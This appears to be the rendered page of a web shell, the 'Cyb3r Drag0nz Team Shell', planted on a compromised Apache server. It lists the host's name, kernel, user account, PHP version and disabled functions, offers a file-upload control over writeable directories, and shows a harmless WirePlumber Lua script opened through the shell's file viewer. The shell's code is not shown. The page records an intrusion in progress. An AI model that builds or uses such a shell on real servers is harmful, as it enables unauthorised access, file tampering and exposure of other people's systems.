Cyb3r Drag0nz Team Shell
Cyb3rDrag0nz


Server : Apache
System : Linux wealthytechsolutions.wealthytechsolutions.com 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : raybondt ( 1003)
PHP Version : 8.3.31
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/wireplumber/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/wireplumber/scripts/metadata.lua
-- WirePlumber
--
-- Copyright © 2023 Collabora Ltd.
--
-- SPDX-License-Identifier: MIT
--
-- Provides the default metadata object

Script.async_activation = true

-- note that args is a WpSpaJson
local args = ...
args = args:parse(1)

local metadata_name = args["metadata.name"]

log = Log.open_topic ("s-metadata")
log:info ("creating metadata object: " .. metadata_name)

impl_metadata = ImplMetadata (metadata_name)
impl_metadata:activate (Features.ALL, function (m, e)
  if e then
    Script:finish_activation_with_error (
        "failed to activate the ".. metadata_name .." metadata: " .. tostring (e))
  else
    Script:finish_activation ()
  end
end)

Cyb3r Drag0nz Team